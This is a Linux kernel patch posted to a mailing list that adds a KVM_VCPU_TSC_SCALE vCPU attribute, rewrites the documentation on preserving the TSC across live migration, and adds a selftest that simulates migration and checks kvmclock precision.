X-purgate-ID: tlsNG-4011c0/1785250218-52ADCCFC-E37AC7CA/0/0
X-purgate-type: clean
X-purgate-size: 24007

From: David Woodhouse <dwmw@amazon.co.uk>

The documentation on TSC migration using KVM_VCPU_TSC_OFFSET is woefully
inadequate. It ignores TSC scaling, and ignores the fact that the host
TSC may differ from one host to the next (and in fact because of the way
the kernel calibrates it, it generally differs from one boot to the next
even on the same hardware).

Add KVM_VCPU_TSC_SCALE to extract the actual scale ratio and frac_bits,
and attempt to document the process that userspace needs to follow to
preserve the TSC across migration. Add a self test to function as an
exemplar.

Only enumerate KVM_VCPU_TSC_SCALE when kvm_caps.has_tsc_control is true,
since the scaling ratio is only meaningful when hardware TSC scaling is
supported.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 Documentation/virt/kvm/devices/vcpu.rst       | 120 ++++--
 arch/x86/include/uapi/asm/kvm.h               |   6 +
 arch/x86/kvm/x86.c                            |  21 +
 tools/testing/selftests/kvm/Makefile.kvm      |   1 +
 .../kvm/x86/pvclock_migration_test.c          | 383 ++++++++++++++++++
 5 files changed, 501 insertions(+), 30 deletions(-)
 create mode 100644 tools/testing/selftests/kvm/x86/pvclock_migration_test.c

diff --git a/Documentation/virt/kvm/devices/vcpu.rst b/Documentation/virt/kvm/devices/vcpu.rst
index 66e714f2fcfa..2b8ab8995079 100644
--- a/Documentation/virt/kvm/devices/vcpu.rst
+++ b/Documentation/virt/kvm/devices/vcpu.rst
@@ -232,6 +232,7 @@ including the layout of the stolen time structure.
 :Architectures: x86
 
 4.1 ATTRIBUTE: KVM_VCPU_TSC_OFFSET
+----------------------------------
 
 :Parameters: 64-bit unsigned TSC offset
 
@@ -246,7 +247,10 @@ Returns:
 Specifies the guest's TSC offset relative to the host's TSC. The guest's
 TSC is then derived by the following equation:
 
-  guest_tsc = host_tsc + KVM_VCPU_TSC_OFFSET
+  guest_tsc = ((host_tsc * tsc_ratio) >> tsc_frac_bits) + KVM_VCPU_TSC_OFFSET
+
+The values of tsc_ratio and tsc_frac_bits can be obtained using
+the KVM_VCPU_TSC_SCALE attribute.
 
 This attribute is useful to adjust the guest's TSC on live migration,
 so that the TSC counts the time during which the VM was paused. The
@@ -254,44 +258,100 @@ following describes a possible algorithm to use for this purpose.
 
 From the source VMM process:
 
-1. Invoke the KVM_GET_CLOCK ioctl to record the host TSC (tsc_src),
+1. Invoke the KVM_GET_CLOCK ioctl to record the host TSC (host_tsc_src),
    kvmclock nanoseconds (guest_src), and host CLOCK_REALTIME nanoseconds
-   (host_src).
+   (time_src) at a given moment (Tsrc).
+
+2. For each vCPU[i]:
+
+   a. Read the KVM_VCPU_TSC_OFFSET attribute to record the guest TSC offset
+      (ofs_src[i]).
 
-2. Read the KVM_VCPU_TSC_OFFSET attribute for every vCPU to record the
-   guest TSC offset (ofs_src[i]).
+   b. Read the KVM_VCPU_TSC_SCALE attribute to record the guest TSC scaling
+      ratio (ratio_src[i], frac_bits_src[i]).
 
-3. Invoke the KVM_GET_TSC_KHZ ioctl to record the frequency of the
-   guest's TSC (freq).
+   c. Use host_tsc_src and the scaling/offset factors to calculate this
+      vCPU's TSC at time Tsrc:
+
+      tsc_src[i] = ((host_tsc_src * ratio_src[i]) >> frac_bits_src[i]) + ofs_src[i]
+
+3. Invoke the KVM_GET_CLOCK_GUEST ioctl on the boot vCPU to return the KVM
+   clock as a function of the guest TSC (pvti_src). (This ioctl may not
+   succeed if the host and guest TSCs are not consistent and well-behaved.)
 
 From the destination VMM process:
 
-4. Invoke the KVM_SET_CLOCK ioctl, providing the source nanoseconds from
-   kvmclock (guest_src) and CLOCK_REALTIME (host_src) in their respective
-   fields.  Ensure that the KVM_CLOCK_REALTIME flag is set in the provided
-   structure.
+4. Before creating the vCPUs, invoke the KVM_SET_TSC_KHZ ioctl on the VM, to
+   set the scaled frequency of the guest's TSC (freq).
+
+5. Invoke the KVM_GET_CLOCK ioctl to record the host TSC (host_tsc_dst) and
+   host CLOCK_REALTIME nanoseconds (time_dst) at a given moment (Tdst).
+
+6. Calculate the number of nanoseconds elapsed between Tsrc and Tdst:
+
+   Î”T = time_dst - time_src
+
+7. As each vCPU[i] is created:
+
+   a. Read the KVM_VCPU_TSC_SCALE attribute to record the guest TSC scaling
+      ratio (ratio_dst[i], frac_bits_dst[i]).
+
+   b. Calculate the intended guest TSC value at time Tdst:
+
+      tsc_dst[i] = tsc_src[i] + (Î”T * freq[i])
 
-   KVM will advance the VM's kvmclock to account for elapsed time since
-   recording the clock values.  Note that this will cause problems in
-   the guest (e.g., timeouts) unless CLOCK_REALTIME is synchronized
-   between the source and destination, and a reasonably short time passes
-   between the source pausing the VMs and the destination executing
-   steps 4-7.
+   c. Use host_tsc_dst and the scaling factors to calculate this vCPU's
+      raw scaled TSC at time Tdst without offsetting:
+
+      raw_dst[i] = ((host_tsc_dst * ratio_dst[i]) >> frac_bits_dst[i])
+
+   d. Calculate ofs_dst[i] = tsc_dst[i] - raw_dst[i] and set the resulting
+      offset using the KVM_VCPU_TSC_OFFSET attribute.
+
+8. If pvti_src was provided, invoke the KVM_SET_CLOCK_GUEST ioctl on the boot
+   vCPU to restore the KVM clock as a precise function of the guest TSC.
+
+9. If KVM_SET_CLOCK_GUEST was not available or failed (e.g. because the
+   master clock is not active), fall back to the KVM_SET_CLOCK ioctl,
+   providing the source nanoseconds from kvmclock (guest_src) and
+   CLOCK_REALTIME (time_src) in their respective fields. Ensure that the
+   KVM_CLOCK_REALTIME flag is set in the provided structure.
+
+   KVM will restore the VM's kvmclock, accounting for elapsed time since
+   the clock values were recorded. Note that this will cause problems in
+   the guest (e.g., timeouts) unless CLOCK_REALTIME is synchronized between
+   the source and destination, and a reasonably short time passes between
+   the source pausing the VMs and the destination resuming them.
+   Due to the KVM_[SG]ET_CLOCK API using CLOCK_REALTIME instead of
+   CLOCK_TAI, leap seconds during the migration may also introduce errors.
+
+4.2 ATTRIBUTE: KVM_VCPU_TSC_SCALE
+---------------------------------
+
+:Parameters: struct kvm_vcpu_tsc_scale
+
+Returns:
+
+	 ======= ======================================
+	 -EFAULT Error reading the provided parameter
+		 address.
+	 -ENXIO  Attribute not supported (no TSC scaling)
+	 -EINVAL Invalid request to write the attribute
+	 ======= ======================================
 
-5. Invoke the KVM_GET_CLOCK ioctl to record the host TSC (tsc_dest) and
-   kvmclock nanoseconds (guest_dest).
+This read-only attribute reports the guest's TSC scaling factor, in the form
+of a fixed-point number represented by the following structure::
 
-6. Adjust the guest TSC offsets for every vCPU to account for (1) time
-   elapsed since recording state and (2) difference in TSCs between the
-   source and destination machine:
+  struct kvm_vcpu_tsc_scale {
+	__u64 tsc_ratio;
+	__u64 tsc_frac_bits;
+  };
 
-   ofs_dst[i] = ofs_src[i] -
-     (guest_src - guest_dest) * freq +
-     (tsc_src - tsc_dest)
+The tsc_frac_bits field indicates the location of the fixed point, such that
+host TSC values are converted to guest TSC using the formula:
 
-   ("ofs[i] + tsc - guest * freq" is the guest TSC value corresponding to
-   a time of 0 in kvmclock.  The above formula ensures that it is the
-   same on the destination as it was on the source).
+  guest_tsc = ((host_tsc * tsc_ratio) >> tsc_frac_bits) + offset
 
-7. Write the KVM_VCPU_TSC_OFFSET attribute for every vCPU with the
-   respective value derived in the previous step.
+Userspace can use this to precisely calculate the guest TSC from the host
+TSC at any given moment. This is needed for accurate migration of guests,
+as described in the documentation for the KVM_VCPU_TSC_OFFSET attribute.
diff --git a/arch/x86/include/uapi/asm/kvm.h b/arch/x86/include/uapi/asm/kvm.h
index 9e3cdc3adb65..f8274d8e471d 100644
--- a/arch/x86/include/uapi/asm/kvm.h
+++ b/arch/x86/include/uapi/asm/kvm.h
@@ -964,6 +964,12 @@ struct kvm_hyperv_eventfd {
 /* for KVM_{GET,SET,HAS}_DEVICE_ATTR */
 #define KVM_VCPU_TSC_CTRL 0 /* control group for the timestamp counter (TSC) */
 #define   KVM_VCPU_TSC_OFFSET 0 /* attribute for the TSC offset */
+#define   KVM_VCPU_TSC_SCALE  1 /* attribute for TSC scaling factor */
+
+struct kvm_vcpu_tsc_scale {
+	__u64 tsc_ratio;
+	__u64 tsc_frac_bits;
+};
 
 /* x86-specific KVM_EXIT_HYPERCALL flags. */
 #define KVM_EXIT_HYPERCALL_LONG_MODE	_BITULL(0)
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 0680332d7d45..3c899f996abb 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -3287,6 +3287,9 @@ static int kvm_arch_tsc_has_attr(struct kvm_vcpu *vcpu,
 	case KVM_VCPU_TSC_OFFSET:
 		r = 0;
 		break;
+	case KVM_VCPU_TSC_SCALE:
+		r = kvm_caps.has_tsc_control ? 0 : -ENXIO;
+		break;
 	default:
 		r = -ENXIO;
 	}
@@ -3307,6 +3310,21 @@ static int kvm_arch_tsc_get_attr(struct kvm_vcpu *vcpu,
 			break;
 		r = 0;
 		break;
+	case KVM_VCPU_TSC_SCALE: {
+		struct kvm_vcpu_tsc_scale scale;
+
+		r = -ENXIO;
+		if (!kvm_caps.has_tsc_control)
+			break;
+
+		scale.tsc_ratio = vcpu->arch.l1_tsc_scaling_ratio;
+		scale.tsc_frac_bits = kvm_caps.tsc_scaling_ratio_frac_bits;
+		r = -EFAULT;
+		if (copy_to_user(uaddr, &scale, sizeof(scale)))
+			break;
+		r = 0;
+		break;
+	}
 	default:
 		r = -ENXIO;
 	}
@@ -3346,6 +3364,9 @@ static int kvm_arch_tsc_set_attr(struct kvm_vcpu *vcpu,
 		r = 0;
 		break;
 	}
+	case KVM_VCPU_TSC_SCALE:
+		r = kvm_caps.has_tsc_control ? -EINVAL : -ENXIO;
+		break;
 	default:
 		r = -ENXIO;
 	}
diff --git a/tools/testing/selftests/kvm/Makefile.kvm b/tools/testing/selftests/kvm/Makefile.kvm
index 88c6c8046dde..28eba412a2b9 100644
--- a/tools/testing/selftests/kvm/Makefile.kvm
+++ b/tools/testing/selftests/kvm/Makefile.kvm
@@ -107,6 +107,7 @@ TEST_GEN_PROGS_x86 += x86/pmu_counters_test
 TEST_GEN_PROGS_x86 += x86/pmu_event_filter_test
 TEST_GEN_PROGS_x86 += x86/private_mem_conversions_test
 TEST_GEN_PROGS_x86 += x86/private_mem_kvm_exits_test
+TEST_GEN_PROGS_x86 += x86/pvclock_migration_test
 TEST_GEN_PROGS_x86 += x86/set_boot_cpu_id
 TEST_GEN_PROGS_x86 += x86/set_sregs_test
 TEST_GEN_PROGS_x86 += x86/smaller_maxphyaddr_emulation_test
diff --git a/tools/testing/selftests/kvm/x86/pvclock_migration_test.c b/tools/testing/selftests/kvm/x86/pvclock_migration_test.c
new file mode 100644
index 000000000000..3b675827aec3
--- /dev/null
+++ b/tools/testing/selftests/kvm/x86/pvclock_migration_test.c
@@ -0,0 +1,383 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Test KVM clock precision across simulated live migration.
+ *
+ * Verifies that the documented TSC migration procedure (using
+ * KVM_VCPU_TSC_OFFSET, KVM_VCPU_TSC_SCALE, KVM_GET_CLOCK, and
+ * KVM_SET_CLOCK_GUEST) preserves the kvmclock's relationship to
+ * CLOCK_MONOTONIC_RAW.
+ *
+ * The test:
+ * 1. Creates a VM, runs the guest to enable kvmclock
+ * 2. Does a PTP-like ABA measurement of kvmclock vs CLOCK_MONOTONIC_RAW
+ * 3. Follows the documented migration procedure (same host, 1s pause)
+ * 4. Does the same ABA measurement on the destination VM
+ * 5. Verifies the kvmclock-vs-monotonic delta is preserved
+ */
+#include <inttypes.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+#include <time.h>
+#include <unistd.h>
+
+#include "test_util.h"
+#include "kvm_util.h"
+#include "processor.h"
+
+#include <asm/pvclock-abi.h>
+
+#define KVMCLOCK_GPA	0xc0000000ULL
+
+static void guest_code(void)
+{
+	wrmsr(MSR_KVM_SYSTEM_TIME_NEW, KVMCLOCK_GPA | 1);
+	GUEST_SYNC(0);
+	GUEST_SYNC(1);
+}
+
+static uint64_t read_kvmclock_ns(struct kvm_vm *vm)
+{
+	struct kvm_clock_data data = {};
+
+	vm_ioctl(vm, KVM_GET_CLOCK, &data);
+	return data.clock;
+}
+
+static uint64_t pvclock_read_cycles(struct pvclock_vcpu_time_info *src,
+				    uint64_t tsc)
+{
+	uint64_t delta = tsc - src->tsc_timestamp;
+	uint64_t ns;
+
+	if (src->tsc_shift >= 0)
+		delta <<= src->tsc_shift;
+	else
+		delta >>= -(int32_t)src->tsc_shift;
+
+	ns = (unsigned __int128)delta * src->tsc_to_system_mul >> 32;
+	return src->system_time + ns;
+}
+
+/*
+ * ABA measurement: read CLOCK_MONOTONIC_RAW, kvmclock, CLOCK_MONOTONIC_RAW.
+ * Repeat 3 times, keep the reading with the smallest spread.
+ */
+static void aba_reading(struct kvm_vm *vm, uint64_t *lo, uint64_t *kvm_ns,
+			uint64_t *hi)
+{
+	uint64_t best_spread = UINT64_MAX;
+	int i;
+
+	for (i = 0; i < 3; i++) {
+		struct timespec ts1, ts2;
+		uint64_t m1, m2, clk;
+
+		clock_gettime(CLOCK_MONOTONIC_RAW, &ts1);
+		clk = read_kvmclock_ns(vm);
+		clock_gettime(CLOCK_MONOTONIC_RAW, &ts2);
+
+		m1 = ts1.tv_sec * 1000000000ULL + ts1.tv_nsec;
+		m2 = ts2.tv_sec * 1000000000ULL + ts2.tv_nsec;
+
+		if (m2 - m1 < best_spread) {
+			best_spread = m2 - m1;
+			*lo = m1;
+			*kvm_ns = clk;
+			*hi = m2;
+		}
+	}
+}
+
+static struct kvm_vm *create_vm(struct kvm_vcpu **vcpu)
+{
+	struct kvm_vm *vm = vm_create_with_one_vcpu(vcpu, guest_code);
+
+	vm_userspace_mem_region_add(vm, VM_MEM_SRC_ANONYMOUS,
+				    KVMCLOCK_GPA, 1, 1, 0);
+	virt_map(vm, KVMCLOCK_GPA, KVMCLOCK_GPA, 1);
+	return vm;
+}
+
+int main(void)
+{
+	struct pvclock_vcpu_time_info pvti_src;
+	struct kvm_clock_data clock_src, clock_dst;
+	struct kvm_vcpu_tsc_scale scale_src, scale_dst;
+	struct kvm_vcpu *vcpu;
+	struct kvm_vm *vm;
+	struct ucall uc;
+	uint64_t mono_before, kvm_before, kvm_after;
+	int64_t delta_before;
+	uint64_t ofs_src, tsc_src, tsc_dst, raw_dst, ofs_dst;
+	uint64_t host_tsc_src, host_tsc_dst;
+	uint64_t time_src, time_dst;
+	int64_t delta_t;
+	uint32_t freq_khz = 1500000; /* 1.5 GHz â€” forces TSC scaling */
+	int ret;
+
+	TEST_REQUIRE(sys_clocksource_is_based_on_tsc());
+	TEST_REQUIRE(kvm_has_cap(KVM_CAP_TSC_CONTROL));
+
+	/* === SOURCE SIDE === */
+	pr_info("=== Source VM ===\n");
+	vm = create_vm(&vcpu);
+
+	/* Set guest TSC frequency (may trigger scaling) */
+	vcpu_ioctl(vcpu, KVM_SET_TSC_KHZ, (void *)(unsigned long)freq_khz);
+
+	/* Run guest to enable kvmclock */
+	vcpu_run(vcpu);
+	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+	TEST_ASSERT_EQ(get_ucall(vcpu, &uc), UCALL_SYNC);
+
+	/* ABA measurement: kvmclock vs CLOCK_MONOTONIC_RAW */
+	uint64_t src_mono_lo, src_mono_hi;
+	aba_reading(vm, &src_mono_lo, &kvm_before, &src_mono_hi);
+	mono_before = (src_mono_lo + src_mono_hi) / 2;
+	delta_before = (int64_t)(kvm_before - mono_before);
+	pr_info("  kvmclock - MONOTONIC_RAW = %" PRId64 " ns (Â±%" PRIu64 " ns)\n",
+		delta_before, (src_mono_hi - src_mono_lo) / 2);
+
+	/* Step 1: KVM_GET_CLOCK for atomic {host_tsc, realtime} */
+	memset(&clock_src, 0, sizeof(clock_src));
+	clock_src.flags = KVM_CLOCK_REALTIME;
+	vm_ioctl(vm, KVM_GET_CLOCK, &clock_src);
+	host_tsc_src = clock_src.host_tsc;
+	time_src = clock_src.realtime;
+
+	/* Step 2: Save TSC offset and scale */
+	{
+		struct kvm_device_attr attr = {
+			.group = KVM_VCPU_TSC_CTRL,
+			.attr = KVM_VCPU_TSC_OFFSET,
+			.addr = (uint64_t)(uintptr_t)&ofs_src,
+		};
+		vcpu_ioctl(vcpu, KVM_GET_DEVICE_ATTR, &attr);
+	}
+	{
+		struct kvm_device_attr attr = {
+			.group = KVM_VCPU_TSC_CTRL,
+			.attr = KVM_VCPU_TSC_SCALE,
+			.addr = (uint64_t)(uintptr_t)&scale_src,
+		};
+		memset(&scale_src, 0, sizeof(scale_src));
+		__vcpu_ioctl(vcpu, KVM_GET_DEVICE_ATTR, &attr);
+	}
+
+	/* Compute guest TSC at Tsrc */
+	if (scale_src.tsc_frac_bits)
+		tsc_src = ((unsigned __int128)host_tsc_src * scale_src.tsc_ratio
+			   >> scale_src.tsc_frac_bits) + ofs_src;
+	else
+		tsc_src = host_tsc_src + ofs_src;
+
+	/* Step 3: KVM_GET_CLOCK_GUEST */
+	ret = __vcpu_ioctl(vcpu, KVM_GET_CLOCK_GUEST, &pvti_src);
+	TEST_ASSERT(!ret, "KVM_GET_CLOCK_GUEST failed");
+
+	pr_info("  TSC freq=%u kHz, offset=%" PRId64 "\n", freq_khz, (int64_t)ofs_src);
+
+	kvm_vm_release(vm);
+
+	/* === PAUSE (simulate migration) === */
+	pr_info("=== Pausing 1 second ===\n");
+	sleep(1);
+
+	/* === DESTINATION SIDE === */
+	pr_info("=== Destination VM ===\n");
+	vm = create_vm(&vcpu);
+
+	/* Step 4: KVM_SET_TSC_KHZ */
+	vcpu_ioctl(vcpu, KVM_SET_TSC_KHZ, (void *)(unsigned long)freq_khz);
+
+	/* Step 5: KVM_GET_CLOCK for atomic {host_tsc, realtime} pair.
+	 * Master clock is active from vCPU creation.
+	 */
+	memset(&clock_dst, 0, sizeof(clock_dst));
+	vm_ioctl(vm, KVM_GET_CLOCK, &clock_dst);
+	host_tsc_dst = clock_dst.host_tsc;
+	time_dst = clock_dst.realtime;
+
+	/* Step 6: Î”T */
+	delta_t = (int64_t)(time_dst - time_src);
+
+	/* Step 7: Compute destination offset */
+	{
+		struct kvm_device_attr attr = {
+			.group = KVM_VCPU_TSC_CTRL,
+			.attr = KVM_VCPU_TSC_SCALE,
+			.addr = (uint64_t)(uintptr_t)&scale_dst,
+		};
+		memset(&scale_dst, 0, sizeof(scale_dst));
+		__vcpu_ioctl(vcpu, KVM_GET_DEVICE_ATTR, &attr);
+	}
+
+	tsc_dst = tsc_src + (uint64_t)((int64_t)freq_khz * delta_t / 1000000LL);
+
+	if (scale_dst.tsc_frac_bits)
+		raw_dst = (unsigned __int128)host_tsc_dst * scale_dst.tsc_ratio
+			  >> scale_dst.tsc_frac_bits;
+	else
+		raw_dst = host_tsc_dst;
+
+	ofs_dst = tsc_dst - raw_dst;
+
+	/*
+	 * The TSC offset delta introduced by using CLOCK_REALTIME to
+	 * estimate elapsed time. On same host, the correct offset is
+	 * ofs_src; the difference is the CLOCK_REALTIME-vs-TSC error.
+	 */
+	int64_t tsc_ofs_delta = (int64_t)(ofs_dst - ofs_src);
+	int64_t tsc_ofs_delta_ns = tsc_ofs_delta * 1000000LL / freq_khz;
+	pr_info("  Destination TSC offset=%" PRId64
+		", imprecision from CLOCK_REALTIME: %" PRId64 " cycles = %"
+		PRId64 " ns\n", (int64_t)ofs_dst, tsc_ofs_delta, tsc_ofs_delta_ns);
+
+	/* Set TSC offset */
+	{
+		struct kvm_device_attr attr = {
+			.group = KVM_VCPU_TSC_CTRL,
+			.attr = KVM_VCPU_TSC_OFFSET,
+			.addr = (uint64_t)(uintptr_t)&ofs_dst,
+		};
+		vcpu_ioctl(vcpu, KVM_SET_DEVICE_ATTR, &attr);
+	}
+
+	/* Step 8: KVM_SET_CLOCK_GUEST */
+	ret = __vcpu_ioctl(vcpu, KVM_SET_CLOCK_GUEST, &pvti_src);
+	TEST_ASSERT(!ret, "KVM_SET_CLOCK_GUEST failed: errno %d", errno);
+
+	/* Run guest to update pvclock page on destination */
+	vcpu_run(vcpu);
+	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+	TEST_ASSERT_EQ(get_ucall(vcpu, &uc), UCALL_SYNC);
+
+	/* ABA measurement on destination */
+	uint64_t mono_lo, mono_hi;
+	aba_reading(vm, &mono_lo, &kvm_after, &mono_hi);
+
+	/*
+	 * The kvmclock is tied to the guest TSC via SET_CLOCK_GUEST.
+	 * The guest TSC is offset from the correct value by tsc_ofs_delta_ns
+	 * (due to CLOCK_REALTIME imprecision). So the kvmclock should be
+	 * offset from CLOCK_MONOTONIC_RAW by exactly:
+	 *   (original delta) + tsc_ofs_delta_ns
+	 *
+	 * The "original delta" has uncertainty from the source ABA spread,
+	 * and the measurement has uncertainty from the destination ABA spread.
+	 * Verify the expected value falls within the combined bounds.
+	 */
+	int64_t delta_before_lo = (int64_t)(kvm_before - src_mono_hi);
+	int64_t delta_before_hi = (int64_t)(kvm_before - src_mono_lo);
+	int64_t expected_lo = delta_before_lo + tsc_ofs_delta_ns;
+	int64_t expected_hi = delta_before_hi + tsc_ofs_delta_ns;
+	int64_t actual_lo = (int64_t)(kvm_after - mono_hi);
+	int64_t actual_hi = (int64_t)(kvm_after - mono_lo);
+
+	/* Show the shift relative to the source measurement */
+	int64_t expected_mid = tsc_ofs_delta_ns;
+	int64_t expected_err = (int64_t)(src_mono_hi - src_mono_lo) / 2;
+	int64_t actual_mid = ((actual_lo + actual_hi) / 2) - delta_before;
+	int64_t actual_err = (int64_t)(mono_hi - mono_lo) / 2;
+	pr_info("  kvmclock-mono shift: expected %" PRId64 " ns (Â±%" PRId64
+		"), measured %" PRId64 " ns (Â±%" PRId64 ")\n",
+		expected_mid, expected_err, actual_mid, actual_err);
+
+	/* The ranges must overlap */
+	TEST_ASSERT(expected_hi >= actual_lo && expected_lo <= actual_hi,
+		    "Ranges don't overlap: expected [%" PRId64 ", %" PRId64
+		    "] measured [%" PRId64 ", %" PRId64 "]",
+		    expected_lo, expected_hi, actual_lo, actual_hi);
+
+	/*
+	 * Direct pvclock verification: read the destination pvclock page
+	 * and verify that computing kvmclock from pvti_src and pvti_dst
+	 * at the same guest TSC gives the same result.
+	 *
+	 * Get an atomic {host_tsc, kvmclock} pair, scale host_tsc to
+	 * guest TSC using KVM_VCPU_TSC_SCALE, then compute kvmclock
+	 * from both pvclock structs.
+	 */
+	struct kvm_clock_data clock_now = {};
+	vm_ioctl(vm, KVM_GET_CLOCK, &clock_now);
+
+	struct pvclock_vcpu_time_info *pvti_dst = addr_gpa2hva(vm, KVMCLOCK_GPA);
+	uint64_t host_tsc_now = clock_now.host_tsc;
+	uint64_t guest_tsc_now;
+
+	if (scale_dst.tsc_frac_bits)
+		guest_tsc_now = ((unsigned __int128)host_tsc_now *
+				 scale_dst.tsc_ratio >> scale_dst.tsc_frac_bits)
+				+ ofs_dst;
+	else
+		guest_tsc_now = host_tsc_now + ofs_dst;
+
+	uint64_t clk_from_src = pvclock_read_cycles(&pvti_src, guest_tsc_now);
+	uint64_t clk_from_dst = pvclock_read_cycles(pvti_dst, guest_tsc_now);
+	int64_t pvclock_delta = (int64_t)(clk_from_src - clk_from_dst);
+
+	pr_info("  Pvclock direct: src=%" PRIu64 " dst=%" PRIu64
+		" delta=%" PRId64 " ns\n", clk_from_src, clk_from_dst, pvclock_delta);
+	pr_info("  KVM_GET_CLOCK:  %" PRIu64 " ns\n", (uint64_t)clock_now.clock);
+
+	TEST_ASSERT(pvclock_delta >= -2 && pvclock_delta <= 2,
+		    "pvclock src vs dst disagree by %" PRId64 " ns", pvclock_delta);
+
+	/*
+	 * Tight ABA: compare pvclock_read() directly (no ioctl) against
+	 * CLOCK_MONOTONIC_RAW. The spread should be much smaller since
+	 * there's no syscall between the two clock_gettime calls â€” just
+	 * rdtsc + userspace mul/shift.
+	 */
+	uint64_t tight_mono_lo = 0, tight_mono_hi = 0, tight_kvm = 0;
+	uint64_t tight_best_spread = UINT64_MAX;
+	for (int i = 0; i < 3; i++) {
+		struct timespec ts1, ts2;
+		uint64_t m1, m2, tsc, clk;
+
+		clock_gettime(CLOCK_MONOTONIC_RAW, &ts1);
+		tsc = rdtsc();
+		clock_gettime(CLOCK_MONOTONIC_RAW, &ts2);
+
+		m1 = ts1.tv_sec * 1000000000ULL + ts1.tv_nsec;
+		m2 = ts2.tv_sec * 1000000000ULL + ts2.tv_nsec;
+
+		/* Scale host TSC to guest TSC */
+		if (scale_dst.tsc_frac_bits)
+			tsc = ((unsigned __int128)tsc * scale_dst.tsc_ratio
+			       >> scale_dst.tsc_frac_bits) + ofs_dst;
+		else
+			tsc += ofs_dst;
+
+		clk = pvclock_read_cycles(pvti_dst, tsc);
+
+		if (m2 - m1 < tight_best_spread) {
+			tight_best_spread = m2 - m1;
+			tight_mono_lo = m1;
+			tight_mono_hi = m2;
+			tight_kvm = clk;
+		}
+	}
+	pr_info("  Tight ABA spread: %" PRIu64 " ns (best of 3)\n", tight_best_spread);
+
+	int64_t tight_expected_lo = delta_before_lo + tsc_ofs_delta_ns;
+	int64_t tight_expected_hi = delta_before_hi + tsc_ofs_delta_ns;
+	int64_t tight_actual_lo = (int64_t)(tight_kvm - tight_mono_hi);
+	int64_t tight_actual_hi = (int64_t)(tight_kvm - tight_mono_lo);
+	int64_t tight_actual_mid = ((tight_actual_lo + tight_actual_hi) / 2) - delta_before;
+	int64_t tight_actual_err = (int64_t)(tight_mono_hi - tight_mono_lo) / 2;
+
+	pr_info("  Tight kvmclock-mono shift: expected %" PRId64
+		" ns (Â±%" PRId64 "), measured %" PRId64 " ns (Â±%" PRId64 ")\n",
+		expected_mid, expected_err, tight_actual_mid, tight_actual_err);
+
+	TEST_ASSERT(tight_expected_hi >= tight_actual_lo &&
+		    tight_expected_lo <= tight_actual_hi,
+		    "Tight ABA ranges don't overlap");
+
+	kvm_vm_release(vm);
+	pr_info("PASS: kvmclock offset matches TSC delta from CLOCK_REALTIME"
+		" (%" PRId64 " ns) within ABA bounds\n", tsc_ofs_delta_ns);
+	return 0;
+}
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374518.1621854 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8q-0004Fr-AW; Tue, 28 Jul 2026 14:50:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374518.1621854; Tue, 28 Jul 2026 14:50:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8o-00046E-D5; Tue, 28 Jul 2026 14:50:46 +0000
Received: by outflank-mailman (input) for mailman id 1374518;
 Tue, 28 Jul 2026 14:50:19 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8N-0007HT-9l
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8M-004rRp-LQ; Tue, 28 Jul 2026 16:50:18 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c19c-bab6-0a2a0a5309dd-0a2a4508ad20-42
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:18 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a5-f659-0a2a45080019-5a9b5cc7a10c-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:13 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052Vg-357w; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001UZU-0pAC;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
